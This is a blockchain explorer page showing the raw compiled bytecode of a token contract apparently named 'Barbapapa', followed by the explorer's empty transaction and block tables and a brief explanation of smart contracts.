0x60806040526004361061010d5760003560e01c8063751039fc1161009557806395d89b411161006457806395d89b41146102cd578063a9059cbb146102ff578063bf474bed1461031f578063c9567bf914610335578063dd62ed3e1461034a57600080fd5b8063751039fc146102645780637d1db4a5146102795780638da5cb5b1461028f5780638f9a55c0146102b757600080fd5b806323b872dd116100dc57806323b872dd146101c6578063313ce567146101e657806344dabe231461020257806370a0823114610219578063715018a61461024f57600080fd5b806306fdde0314610119578063095ea7b31461015d5780630faee56f1461018d57806318160ddd146101b157600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600981526842617262617061706160b81b60208201525b60405161015491906111bb565b60405180910390f35b34801561016957600080fd5b5061017d61017836600461121f565b610390565b6040519015158152602001610154565b34801561019957600080fd5b506101a360125481565b604051908152602001610154565b3480156101bd57600080fd5b506101a36103a7565b3480156101d257600080fd5b5061017d6101e136600461124b565b6103c8565b3480156101f257600080fd5b5060405160098152602001610154565b34801561020e57600080fd5b50610217610450565b005b34801561022557600080fd5b506101a361023436600461128c565b6001600160a01b031660009081526001602052604090205490565b34801561025b57600080fd5b506102176104b2565b34801561027057600080fd5b50610217610526565b34801561028557600080fd5b506101a3600f5481565b34801561029b57600080fd5b506000546040516001600160a01b039091168152602001610154565b3480156102c357600080fd5b506101a360105481565b3480156102d957600080fd5b5060408051808201909152600981526842415242415041504160b81b6020820152610147565b34801561030b57600080fd5b5061017d61031a36600461121f565b6105dd565b34801561032b57600080fd5b506101a360115481565b34801561034157600080fd5b506102176105ea565b34801561035657600080fd5b506101a36103653660046112a9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061039d338484610805565b5060015b92915050565b60006103b56009600a6113dc565b6103c390633b9aca006113eb565b905090565b60006103d5848484610929565b601554336001600160a01b03909116036103f4576103f4848484610805565b61044684336104418560405180606001604052806028815260200161158f602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e13565b610805565b5060019392505050565b6000546001600160a01b031633146104835760405162461bcd60e51b815260040161047a90611402565b60405180910390fd5b60405133904780156108fc02916000818181858888f193505050501580156104af573d6000803e3d6000fd5b50565b6000546001600160a01b031633146104dc5760405162461bcd60e51b815260040161047a90611402565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105505760405162461bcd60e51b815260040161047a90611402565b61055c6009600a6113dc565b61056a90633b9aca006113eb565b600f556105796009600a6113dc565b61058790633b9aca006113eb565b6010556000600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105bc6009600a6113dc565b6105ca90633b9aca006113eb565b60405190815260200160405180910390a1565b600061039d338484610929565b6000546001600160a01b031633146106145760405162461bcd60e51b815260040161047a90611402565b601554600160a01b900460ff161561066e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047a565b60135461069a9030906001600160a01b031661068c6009600a6113dc565b61044190633b9aca006113eb565b6013546001600160a01b031663f305d71947306106cc816001600160a01b031660009081526001602052604090205490565b6000806106e16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610749573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061076e9190611437565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107eb9190611465565b506015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166108675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047a565b6001600160a01b0382166108c85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661098d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047a565b6001600160a01b0382166109ef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047a565b600080546001600160a01b03858116911614801590610a1c57506000546001600160a01b03848116911614155b15610cd057600e54600003610a5a57610a576064610a51600a54600e5411610a4657600654610a4a565b6008545b8590610e4d565b90610ed6565b90505b600e5415610a7f57610a7c6064610a51600d5485610e4d90919063ffffffff16565b90505b6014546001600160a01b038581169116148015610aaa57506013546001600160a01b03848116911614155b8015610acf57506001600160a01b03831660009081526003602052604090205460ff16155b15610bd457600f54821115610b265760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047a565b60105482610b49856001600160a01b031660009081526001602052604090205490565b610b539190611487565b1115610ba15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047a565b610bbc6064610a51600a54600e5411610a4657600654610a4a565b600e80549192506000610bce8361149a565b91905055505b6014546001600160a01b038481169116148015610bfa57506001600160a01b0384163014155b15610c3257610c246064610a51600b54600e5411610c1a57600754610a4a565b6009548590610e4d565b905047610c3047610f18565b505b30600090815260016020526040902054601554600160a81b900460ff16158015610c6957506014546001600160a01b038581169116145b8015610c7e5750601554600160b01b900460ff165b8015610c8b575060125481115b8015610c9a5750600c54600e54115b15610cce57610cbc610cb784610cb284601254610f56565b610f56565b610f6b565b478015610ccc57610ccc47610f18565b505b505b8015610d4a5730600090815260016020526040902054610cf090826110ec565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d419085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610d6d908361114b565b6001600160a01b038516600090815260016020526040902055610db2610d93838361114b565b6001600160a01b038516600090815260016020526040902054906110ec565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dfc858561114b565b60405190815260200160405180910390a350505050565b60008184841115610e375760405162461bcd60e51b815260040161047a91906111bb565b506000610e4484866114b3565b95945050505050565b600082600003610e5f575060006103a1565b6000610e6b83856113eb565b905082610e7885836114c6565b14610ecf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047a565b9392505050565b6000610ecf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061118d565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f52573d6000803e3d6000fd5b5050565b6000818311610f655782610ecf565b50919050565b6015805460ff60a81b1916600160a81b17905580156110dc576040805160028082526060820183526000926020830190803683370190505090503081600081518110610fb957610fb96114e8565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611012573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061103691906114fe565b81600181518110611049576110496114e8565b6001600160a01b03928316602091820292909201015260135461106f9130911684610805565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906110a890859060009086903090429060040161151b565b600060405180830381600087803b1580156110c257600080fd5b505af11580156110d6573d6000803e3d6000fd5b50505050505b506015805460ff60a81b19169055565b6000806110f98385611487565b905083811015610ecf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047a565b6000610ecf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e13565b600081836111ae5760405162461bcd60e51b815260040161047a91906111bb565b506000610e4484866114c6565b60006020808352835180602085015260005b818110156111e9578581018301518582016040015282016111cd565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104af57600080fd5b6000806040838503121561123257600080fd5b823561123d8161120a565b946020939093013593505050565b60008060006060848603121561126057600080fd5b833561126b8161120a565b9250602084013561127b8161120a565b929592945050506040919091013590565b60006020828403121561129e57600080fd5b8135610ecf8161120a565b600080604083850312156112bc57600080fd5b82356112c78161120a565b915060208301356112d78161120a565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611333578160001904821115611319576113196112e2565b8085161561132657918102915b93841c93908002906112fd565b509250929050565b60008261134a575060016103a1565b81611357575060006103a1565b816001811461136d576002811461137757611393565b60019150506103a1565b60ff841115611388576113886112e2565b50506001821b6103a1565b5060208310610133831016604e8410600b84101617156113b6575081810a6103a1565b6113c083836112f8565b80600019048211156113d4576113d46112e2565b029392505050565b6000610ecf60ff84168361133b565b80820281158282048414176103a1576103a16112e2565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561144c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561147757600080fd5b81518015158114610ecf57600080fd5b808201808211156103a1576103a16112e2565b6000600182016114ac576114ac6112e2565b5060010190565b818103818111156103a1576103a16112e2565b6000826114e357634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561151057600080fd5b8151610ecf8161120a565b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b8181101561156d5784516001600160a01b031683529383019391830191600101611548565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e811f0eadcc57b8dea134300c221bc7046209a90e359126b1f3a8068f08e3a8064736f6c63430008190033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.